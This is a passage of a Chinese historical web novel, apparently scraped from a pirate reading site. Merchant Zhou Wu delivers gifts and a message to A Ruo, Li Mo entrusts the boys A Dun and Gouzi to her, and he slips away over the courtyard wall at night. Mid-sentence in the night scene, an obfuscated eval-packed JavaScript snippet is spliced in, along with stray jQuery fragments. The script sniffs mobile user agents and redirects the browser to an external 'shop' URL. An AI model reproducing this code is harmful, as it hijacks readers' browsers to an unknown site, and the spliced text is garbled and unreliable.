周五进将作监的那天，是四月十八。
他带了一队人，抬着几口箱子，大摇大摆地走进院子。箱子是红木的，雕着花，镶着铜角，看着就值钱。箱子里装着银子、绸缎、茶叶——说是送的见面礼。
那些孩子正在院子里看机器，看见这么多人进来，吓得往后退。阿钝挡在他们前面，眼睛盯着那些人，手攥得紧紧的。
李默站在台阶上，看着那些人把箱子放下。
周五走到他面前，笑了笑。
“李师傅，好久不见。”
李默没说话。
周五往四周看了看。他的目光扫过那台蒸汽机，扫过那些孩子，扫过站在远处的阿箬。他看得很慢，像是在清点什么东西。
“这地方，不错。”他说，“就是小了点。回头跟郭公子说说，给你们换个大点的。”
李默看着他。
“周掌柜今天来，有事？”
周五点了点头。
“有事。”他说，“郭公子答应了，江南商会进铁路的事。从今天起，咱们就是一家人了。”
他伸出手。
李默没握。
周五也不恼，把手收回去。他的手在空中停了一瞬，然后缩回袖子里。
“李师傅，”他说，“阿箬姑娘在吗？”
李默的眼睛眯了一下。
“在。”
周五点了点头。
“想见见她。”他说，“毕竟，她姐让我带句话。”
李默看着他。
“什么话？”
周五笑了笑。
“见了她再说。”
阿箬从后院走出来。
她走得很慢，一步一步，踏在青砖上，发出轻微的声响。她的右手垂在身侧，手指微微蜷着，离腰间的刀柄只有一寸。
她站在李默旁边，看着周五。
周五也看着她。
两个人对视了很久。
院子里忽然安静下来。那些孩子不说话了，那些护卫也不动了。连那台蒸汽机的声音，好像也轻了一些。
“阿箬姑娘。”周五先开口。
阿箬没说话。
周五往前走了一步。他的脚抬起来，在空中停了停，然后落下。一步，很近。
“你姐让我告诉你——”他说，“她在江南等你。”
阿箬的手动了动。
周五看着那只手，看着它离刀柄更近了一寸。他的眼睛里有光闪了一下，不是怕，是别的什么。
“她说，你什么时候想去，就什么时候去。商会的大门，永远给你开着。”
阿箬没说话。
周五看着她，眼睛里有一种很复杂的光。那光里有很多东西——有试探，有期待，有某种李默看不懂的东西。
“就这些。”他说，“我走了。”
他转身走了。
那队人跟着他，抬着空手，走了。
院子里，只剩下那几口箱子，和站着不动的李默和阿箬。
风吹过来，把箱子上的一块绸缎吹落，飘在地上。
阿箬没看。
她只是看着那扇门，看着周五消失的方向，一动不动。
那天夜里，李默把阿钝和狗子叫到屋里。
屋里点着一盏油灯，火苗一跳一跳的，把三个人的影子投在墙上，忽大忽小。
阿钝站在门口，狗子站在他旁边，抱着那个包袱。
李默看着他们，看了很久。
“阿钝，狗子，”他说，“从今天起，你们跟着阿箬。”
阿钝愣住了。
“师父，你……你不要我们了？”
他的声音在抖。那抖不是装的，是真的从心里抖出来的。
李默摇了摇头。
“不是不要。”他说，“是让你们跟着她。”
阿钝不懂。他的眼睛里全是眼泪，那眼泪在眼眶里打转，就是不掉下来。
“师父，你到底要去哪儿？”
李默没回答。
他只是伸出手，在阿钝头上按了一下。
那只手很暖，和阿钝第一次见到他的时候一样暖。
“阿钝，”他说，“好好学。你学的东西，以后有用。”
阿钝的眼泪流下来。
狗子站在旁边，抱着那个包袱，看着李默。
他不哭。他只是看着。他的眼睛还是空的，但空里有一点光。那光很弱，像快要灭的烛火，但它亮着。
“叔叔，”他说，“你要走？”
李默点了点头。
狗子沉默了一会儿。
“那我妹妹还能在你那儿吗？”
李默愣了一下。
然后他蹲下来，看着狗子的眼睛。那双眼睛很空，很空，但空底下有东西。那东西和别的东西不一样——它不是冷，不是恨，是一种更深的什么。
“在。”他说，“一直在。”
狗子点了点头。
“那就行。”
他转过身，往外走。走了两步，又停下来。
“叔叔。”他没回头。
“嗯。”
“你回来的时候，我擦骨头给你看。”
他走了。
李默走的那天夜里，月亮很亮。
他没走正门，是从后院那堵墙翻出去的。
墙不高，他以前翻过很多次。但这一次，他的手在墙上停了一下。墙砖是凉的，上面有他手掌的痕迹——之前那些夜里，他翻出去找郭荣，翻出去看铁路，翻出去做那些不得不做的事。
这一次不一样。
这一次，他不知道什么时候能回来。
翻出去之前，他回头看了一眼。
院子里，那台蒸汽机静静地蹲着。月光照在它上面，照出一层冷冷的银光。飞轮停了，连杆停了，活塞停了。它蹲在那里，像个睡着的巨兽
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17401618|200419||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
，等着明天早上被人叫醒。
阿箬站在它旁边，看着他。
月光照在她身上，照出那道疤，照出那双眼睛里的光。
那光很亮，比月亮还亮。
阿钝和狗子站在她旁边，也看着他。
阿钝的眼睛红红的，但没哭。狗子抱着那个包袱，一动不动。
李默看着他们，看了很久。
他想说点什么。想说他一定会回来，想说他不会丢下他们，想说那些他说过很多次但这一次格外想说的话。
但他什么都没说。
他只是看着。
然后他翻过墙，消失在夜色里。
墙的那边传来一声轻响——是脚落在地上的声音。
然后，什么都没有了。
阿箬站在那儿，看着那堵墙，看了很久。
墙上有一个手印，是李默翻过去之前按的。那个手印在月光下很清晰，五个指头，一个掌心，深深的印在青砖上。
阿钝拉着她的衣角。
“阿箬姐，”他问，“师父去哪儿了？”
阿箬没回答。
她只是看着那堵墙，看着那个手印，看着月亮，看着那台机器。
她的手攥紧了。
然后又松开了。
远处传来打更的声音。
“咚——咚——咚——”
三更了。
风吹过来，带着春天的气息。
很暖。
但她知道，有些东西，暖不回来了。
至少今晚暖不回来。
她转过身，看着阿钝和狗子。
“回去睡。”她说。
阿钝看着她。
“师父他……”
“他会回来的。”阿箬说。
她的声音很平，很稳，像在说一件肯定的事。
阿钝点了点头。
他拉着狗子，往回走。
走了几步，他回头看了一眼。
阿箬还站在那儿，站在那台机器旁边，站在月光下，看着那堵墙。
她没动。
阿钝看了很久，然后转过身，走进屋里。
院子里只剩下阿箬一个人。
她伸出手，摸了摸那台机器。机器是凉的，凉的像那块墙砖。但她知道，明天早上，它会烫起来。
它会转起来。
那些孩子会蹲在旁边看着它。
阿钝会教他们怎么看。
狗子会擦那些骨头。
石头会跟着狗子，一句话不说。
日子还会过下去。
她站在那儿，站了很久。
直到月亮偏西，天边开始发白。
她才转过身，走回屋里。
走进去之前，她又回头看了一眼那堵墙。
墙上那个手印还在。
她伸出手，把自己的手按在那个手印上。
正好。